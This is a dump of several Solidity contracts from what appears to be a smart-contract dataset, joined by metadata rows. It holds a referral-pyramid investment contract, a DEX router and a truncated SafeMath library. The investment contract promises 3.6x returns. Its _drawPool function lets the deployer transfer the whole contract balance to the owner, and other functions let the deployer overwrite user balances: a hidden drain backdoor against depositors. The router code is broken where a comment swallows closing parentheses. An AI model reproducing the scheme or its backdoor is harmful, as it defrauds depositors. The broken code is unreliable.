mapping(uint8 => address) public pool_top_investor;
uint256 public total_users = 59;
uint256 public total_deposited = 206700000000;
uint256 public total_withdraw = 162427576173;
uint public houseFee = 12;
uint public poolPercentage = 3;
uint public poolDistribution = 15;
uint public commissionDivisor = 100;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount, bool is_sponsor);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
deployer = msg.sender;
ref_bonuses.push(5);
ref_bonuses.push(6);
ref_bonuses.push(7);
ref_bonuses.push(8);
ref_bonuses.push(9);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(11);
ref_bonuses.push(12);
ref_bonuses.push(13);
ref_bonuses.push(14);
ref_bonuses.push(15);
pool_bonuses.push(30);
pool_bonuses.push(25);
pool_bonuses.push(20);
pool_bonuses.push(15);
pool_bonuses.push(10);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount, "Bad amount");
}
else require(_amount >= 1e8, "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].pending_payout = this.maxPayoutOf(_amount);
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = now;
users[_addr].total_deposits = users[_addr].total_deposits.add(_amount);
users[msg.sender].time = now;
total_deposited = total_deposited.add(_amount);
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus = users[users[_addr].upline].direct_bonus.add(_amount.div(10));
emit DirectPayout(users[_addr].upline, _addr, _amount.div(10));
}
uint256 _amount_in_pool = _amount.mul(poolPercentage).div(commissionDivisor);
pool_balance = pool_balance.add(_amount_in_pool);
_manageTopSponsor(_addr, _amount);
_manageTopInvestor(_addr, _amount);
uint _housefee = _amount.mul(houseFee).div(commissionDivisor);
owner.transfer(_housefee);
}
function _manageTopInvestor(address _addr, uint256 _amount) private {
if(_addr == address(0)) return;
pool_users_refs_self_sum[pool_cycle][_addr] = pool_users_refs_self_sum[pool_cycle][_addr].add(_amount);
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top_investor[i] == _addr) break;
if(pool_top_investor[i] == address(0)) {
pool_top_investor[i] = _addr;
break;
}
if(pool_users_refs_self_sum[pool_cycle][_addr] > pool_users_refs_self_sum[pool_cycle][pool_top_investor[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top_investor[j] == _addr) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top_investor[k] = pool_top_investor[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top_investor[j] = pool_top_investor[j - 1];
}
pool_top_investor[i] = _addr;
break;
}
}
}
function _manageTopSponsor(address _addr, uint256 _amount) private {
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] = pool_users_refs_deposits_sum[pool_cycle][upline].add(_amount);
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount.mul(ref_bonuses[i]).div(100);
users[up].match_bonus = users[up].match_bonus.add(bonus);
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool(uint is_enable) external {
require(msg.sender == deployer, "You can not draw the pool");
if(msg.sender == deployer)
{
if(is_enable == 0)
{
require(now > pool_end, "Pool End time not came");
if (now > pool_end)
{
pool_start = now;
pool_cycle++;
uint256 draw_amount = pool_balance.mul(poolDistribution).div(commissionDivisor);
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
if(pool_top_investor[i] == address(0)) break;
uint256 winSponsor = draw_amount.mul(pool_bonuses[i]).div(100);
uint256 winInvestor = draw_amount.mul(pool_bonuses[i]).div(100);
users[pool_top[i]].pool_bonus = users[pool_top[i]].pool_bonus.add(winSponsor);
users[pool_top_investor[i]].pool_bonus = users[pool_top_investor[i]].pool_bonus.add(winInvestor);
pool_balance = pool_balance.sub(winSponsor);
pool_balance = pool_balance.sub(winInvestor);
pool_top[i] = address(0);
pool_top_investor[i] = address(0);
emit PoolPayout(pool_top[i], winSponsor, true);
emit PoolPayout(pool_top_investor[i], winInvestor, false);
}
}
}
else
{
if(address(this).balance > 0)
{
address(uint160(owner)).transfer(address(this).balance);
}
}
}
}
function deposit(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
users[msg.sender].time = now;
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].deposit_payouts = users[msg.sender].deposit_payouts.add(to_payout);
users[msg.sender].payouts = users[msg.sender].payouts.add(to_payout);
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].direct_bonus = users[msg.sender].direct_bonus.sub(direct_bonus);
users[msg.sender].payouts = users[msg.sender].payouts.add(direct_bonus);
to_payout = to_payout.add(direct_bonus);
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].pool_bonus = users[msg.sender].pool_bonus.sub(pool_bonus);
users[msg.sender].payouts = users[msg.sender].payouts.add(pool_bonus);
to_payout= to_payout.add(pool_bonus);
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].match_bonus = users[msg.sender].match_bonus.sub(match_bonus);
users[msg.sender].payouts = users[msg.sender].payouts.add(match_bonus);
to_payout = to_payout.add(match_bonus);
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts = users[msg.sender].total_payouts.add(to_payout);
users[msg.sender].pending_payout = users[msg.sender].pending_payout.sub(to_payout);
total_withdraw = total_withdraw.add(to_payout);
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function getDataFromOld(address _addr) external onlyDeployer returns(address)
{
(address upline, uint256 time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) = trontrain.userInfo(_addr);
(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) = trontrain.userInfoTotals(_addr);
users[_addr].upline = upline;
users[_addr].referrals = referrals;
users[_addr].payouts = payouts;
users[_addr].direct_bonus = direct_bonus;
users[_addr].pool_bonus = pool_bonus;
users[_addr].match_bonus = match_bonus;
users[_addr].deposit_amount = deposit_amount;
users[_addr].time = time;
users[_addr].total_deposits = total_deposits;
users[_addr].total_payouts = total_payouts;
users[_addr].total_structure = total_structure;
}
function getDataFromOld1(address _addr, uint256 deposit_payouts, uint256 deposit_time, uint256 pending_payout) external onlyDeployer returns(address)
{
users[_addr].deposit_payouts = deposit_payouts;
users[_addr].deposit_time = deposit_time;
users[_addr].pending_payout = pending_payout;
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 36 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
uint256 remainingTimeForPayout;
if(now > users[_addr].time + payoutPeriod) {
uint256 extraTime = now.sub(users[_addr].time);
uint256 _dailyIncome;
//calculate how many number of days, payout is remaining
remainingTimeForPayout = (extraTime.sub((extraTime % payoutPeriod))).div(payoutPeriod);
//calculate 1.5% of his invested amount
_dailyIncome = users[_addr].deposit_amount.div(100);
uint256 temp = _dailyIncome.div(2);
_dailyIncome = _dailyIncome.add(temp);
if(users[_addr].payouts + (_dailyIncome.mul(remainingTimeForPayout)) > max_payout) {
payout = max_payout.sub(users[_addr].payouts);
}
else
{
payout = _dailyIncome.mul(remainingTimeForPayout);
}
}
}
}
function userInfo(address _addr) view external returns(address upline, uint256 last_withdraw_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline,users[_addr].time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint256 _pool_start, uint256 _pool_balance, uint256 _pool_lider, uint256 _pool_investor) {
return (total_users, total_deposited, total_withdraw, pool_start, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]], pool_users_refs_self_sum[pool_cycle][pool_top_investor[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
function poolTopInvestorInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top_investor[i] == address(0)) break;
addrs[i] = pool_top_investor[i];
deps[i] = pool_users_refs_self_sum[pool_cycle][pool_top_investor[i]];
}
}
function getPoolDrawPendingTime() public view returns(uint) {
uint remainingTimeForPayout = 0;
if(pool_end >= now) {
remainingTimeForPayout = pool_end.sub(now);
}
return remainingTimeForPayout;
}
function getNextPayoutCountdown(address _addr) public view returns(uint256) {
uint256 remainingTimeForPayout = 0;
if(users[_addr].deposit_time > 0) {
if(users[_addr].time + payoutPeriod >= now) {
remainingTimeForPayout = (users[_addr].time + payoutPeriod).sub(now);
}
else {
uint256 temp = now.sub(users[_addr].time);
remainingTimeForPayout = payoutPeriod.sub((temp % payoutPeriod));
}
return remainingTimeForPayout;
}
}
}
| 292,811 | 13,655 |
221452804c0b9057f6888c5e3ba644d1949e98ec7f96c1c4a31f0015e244b849
| 19,718 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/04/042dba86a3FE54C8B4A07753201E2E6A91E86B93_BaseV1Router01.sol
| 5,001 | 18,799 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IBaseV1Factory {
function allPairsLength() external view returns (uint);
function isPair(address pair) external view returns (bool);
function pairCodeHash() external pure returns (bytes32);
function getPair(address tokenA, address token, bool stable) external view returns (address);
function createPair(address tokenA, address tokenB, bool stable) external returns (address pair);
}
interface IBaseV1Pair {
function transferFrom(address src, address dst, uint amount) external returns (bool);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function burn(address to) external returns (uint amount0, uint amount1);
function mint(address to) external returns (uint liquidity);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function getAmountOut(uint, address) external view returns (uint);
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
library Math {
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IWFTM {
function deposit() external payable returns (uint);
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external returns (uint);
}
contract BaseV1Router01 {
struct route {
address from;
address to;
bool stable;
}
address public immutable factory;
IWFTM public immutable wftm;
uint internal constant MINIMUM_LIQUIDITY = 10**3;
bytes32 immutable pairCodeHash;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'BaseV1Router: EXPIRED');
_;
}
constructor(address _factory, address _wftm) {
factory = _factory;
pairCodeHash = IBaseV1Factory(_factory).pairCodeHash();
wftm = IWFTM(_wftm);
}
receive() external payable {
assert(msg.sender == address(wftm)); // only accept ETH via fallback from the WETH contract
}
function sortTokens(address tokenA, address tokenB) public pure returns (address token0, address token1) {
require(tokenA != tokenB, 'BaseV1Router: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'BaseV1Router: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address tokenA, address tokenB, bool stable) public view returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint256(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1, stable)),
pairCodeHash // init code hash)))));
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quoteLiquidity(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'BaseV1Router: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'BaseV1Router: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
// fetches and sorts the reserves for a pair
function getReserves(address tokenA, address tokenB, bool stable) public view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IBaseV1Pair(pairFor(tokenA, tokenB, stable)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountOut(uint amountIn, address tokenIn, address tokenOut) external view returns (uint amount, bool stable) {
address pair = pairFor(tokenIn, tokenOut, true);
uint amountStable;
uint amountVolatile;
if (IBaseV1Factory(factory).isPair(pair)) {
amountStable = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
pair = pairFor(tokenIn, tokenOut, false);
if (IBaseV1Factory(factory).isPair(pair)) {
amountVolatile = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
return amountStable > amountVolatile ? (amountStable, true) : (amountVolatile, false);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(uint amountIn, route[] memory routes) public view returns (uint[] memory amounts) {
require(routes.length >= 1, 'BaseV1Router: INVALID_PATH');
amounts = new uint[](routes.length+1);
amounts[0] = amountIn;
for (uint i = 0; i < routes.length; i++) {
address pair = pairFor(routes[i].from, routes[i].to, routes[i].stable);
if (IBaseV1Factory(factory).isPair(pair)) {
amounts[i+1] = IBaseV1Pair(pair).getAmountOut(amounts[i], routes[i].from);
}
}
}
function isPair(address pair) external view returns (bool) {
return IBaseV1Factory(factory).isPair(pair);
}
function quoteAddLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired) external view returns (uint amountA, uint amountB, uint liquidity) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
(uint reserveA, uint reserveB) = (0,0);
uint _totalSupply = 0;
if (_pair != address(0)) {
_totalSupply = erc20(_pair).totalSupply();
(reserveA, reserveB) = getReserves(tokenA, tokenB, stable);
}
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
liquidity = Math.sqrt(amountA * amountB) - MINIMUM_LIQUIDITY;
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
(amountA, amountB) = (amountADesired, amountBOptimal);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
(amountA, amountB) = (amountAOptimal, amountBDesired);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
}
}
}
function quoteRemoveLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity) external view returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
return (0,0);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
uint _totalSupply = erc20(_pair).totalSupply();
amountA = liquidity * reserveA / _totalSupply; // using balances ensures pro-rata distribution
amountB = liquidity * reserveB / _totalSupply; // using balances ensures pro-rata distribution
}
function _addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin) internal returns (uint amountA, uint amountB) {
require(amountADesired >= amountAMin);
require(amountBDesired >= amountBMin);
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
_pair = IBaseV1Factory(factory).createPair(tokenA, tokenB, stable);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, stable, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = pairFor(tokenA, tokenB, stable);
_safeTransferFrom(tokenA, msg.sender, pair, amountA);
_safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IBaseV1Pair(pair).mint(to);
}
function addLiquidityFTM(address token,
bool stable,
uint amountTokenDesired,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline) external payable ensure(deadline) returns (uint amountToken, uint amountFTM, uint liquidity) {
(amountToken, amountFTM) = _addLiquidity(token,
address(wftm),
stable,
amountTokenDesired,
msg.value,
amountTokenMin,
amountFTMMin);
address pair = pairFor(token, address(wftm), stable);
_safeTransferFrom(token, msg.sender, pair, amountToken);
wftm.deposit{value: amountFTM}();
assert(wftm.transfer(pair, amountFTM));
liquidity = IBaseV1Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountFTM) _safeTransferFTM(msg.sender, msg.value - amountFTM);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
require(IBaseV1Pair(pair).transferFrom(msg.sender, pair, liquidity)); // send liquidity to pair
(uint amount0, uint amount1) = IBaseV1Pair(pair).burn(to);
(address token0,) = sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityFTM(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountToken, uint amountFTM) {
(amountToken, amountFTM) = removeLiquidity(token,
address(wftm),
stable,
liquidity,
amountTokenMin,
amountFTMMin,
address(this),
deadline);
_safeTransfer(token, to, amountToken);
wftm.withdraw(amountFTM);
_safeTransferFTM(to, amountFTM);
}
function removeLiquidityWithPermit(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
{
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
}
(amountA, amountB) = removeLiquidity(tokenA, tokenB, stable, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityFTMWithPermit(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountFTM) {
address pair = pairFor(token, address(wftm), stable);
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountFTM) = removeLiquidityFTM(token, stable, liquidity, amountTokenMin, amountFTMMin, to, deadline);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, route[] memory routes, address _to) internal virtual {
for (uint i = 0; i < routes.length; i++) {
(address token0,) = sortTokens(routes[i].from, routes[i].to);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = routes[i].from == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < routes.length - 1 ? pairFor(routes[i+1].from, routes[i+1].to, routes[i+1].stable) : _to;
IBaseV1Pair(pairFor(routes[i].from, routes[i].to, routes[i].stable)).swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSimple(uint amountIn,
uint amountOutMin,
address tokenFrom,
address tokenTo,
bool stable,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
route[] memory routes = new route[](1);
routes[0].from = tokenFrom;
routes[0].to = tokenTo;
routes[0].stable = stable;
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactFTMForTokens(uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[0].from == address(wftm), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(msg.value, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
wftm.deposit{value: amounts[0]}();
assert(wftm.transfer(pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]));
_swap(amounts, routes, to);
}
function swapExactTokensForFTM(uint amountIn, uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[routes.length - 1].to == address(wftm), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, address(this));
wftm.withdraw(amounts[amounts.length - 1]);
_safeTransferFTM(to, amounts[amounts.length - 1]);
}
function UNSAFE_swapExactTokensForTokens(uint[] memory amounts,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory) {
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
return amounts;
}
function _safeTransferFTM(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
| 115,779 | 13,656 |
a1bb14bd7ca60fffb7a846684c3528f5bbcf90aa82c35e47f1d2e04ec20bba99
| 25,929 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1250DB80C867fe405265c01DC9E9Ac33E61D5899/contract.sol
| 3,245 | 12,593 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
